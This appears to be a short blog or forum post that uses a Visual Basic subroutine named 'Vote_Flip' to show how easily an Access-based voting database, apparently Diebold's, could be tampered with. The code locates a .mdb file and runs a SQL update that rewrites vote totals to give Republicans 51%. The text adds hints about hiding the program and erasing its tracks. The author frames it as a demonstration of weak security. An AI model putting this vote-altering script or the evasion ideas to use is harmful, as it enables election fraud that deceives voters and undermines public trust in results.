NOT!I am not a professional programmer, let alone a guru. The following is a workable subroutine written by me in Visual Basic. It will identify the path of an MS Access database (presumably the only '.mdb' on the machine), open the database, and change the current vote numbers, giving the 'rep's (Republicans) a 51% edge. The functionality of this routine could easily be replicated in any number of scripting languages, or compiled in a Windows IDE such as C++, Java, or Delphi.
It's only meant to show just how little actual programming code is required to locate a database file on a PC, open and update one or more tables, and close it. It assumes the database is not password protected, and guesses at the table/field names such as "vote.rep" (I believe the actual Diebold database structure was available for a time for download). There are obviously several things which a true hacker would add, such as hiding the program from displaying in the Windows taskbar (CTL-ALT-DELETE), and erasing our program's tracks at the end of the voting day.
Oh, and actually
counting votes (or ticket sales, or anything) correctly on an Access database?. That would be dirt simple.
*****************************************************************************
Private Sub Vote_Flip()
Dim sql As String
Dim db As DAO.Database
Dim path_mdb As String
‘-----------------------------------------------------------------------------
‘Find out where the Access database is on this machine (assuming there is only one)
path_mdb = Dir(“C:\*.MDB”)
‘-----------------------------------------------------------------------------
‘Here is the SQL “update” to give repubs 51% of the current total:
sql = “UPDATE votes SET votes.rep = (votes.dem + votes.rep) * .51,” _
& “votes.dem = (votes.dem + votes.rep) * .49;”
‘-----------------------------------------------------------------------------
‘Open the database and pass in the update command (assumes no password):
Set db = OpenDatabase(path_mdb, False, False)
db.Execute (sql)
‘-----------------------------------------------------------------------------
‘Close the database object and return the memory to the system:
db.Close
Set db = Nothing
End Sub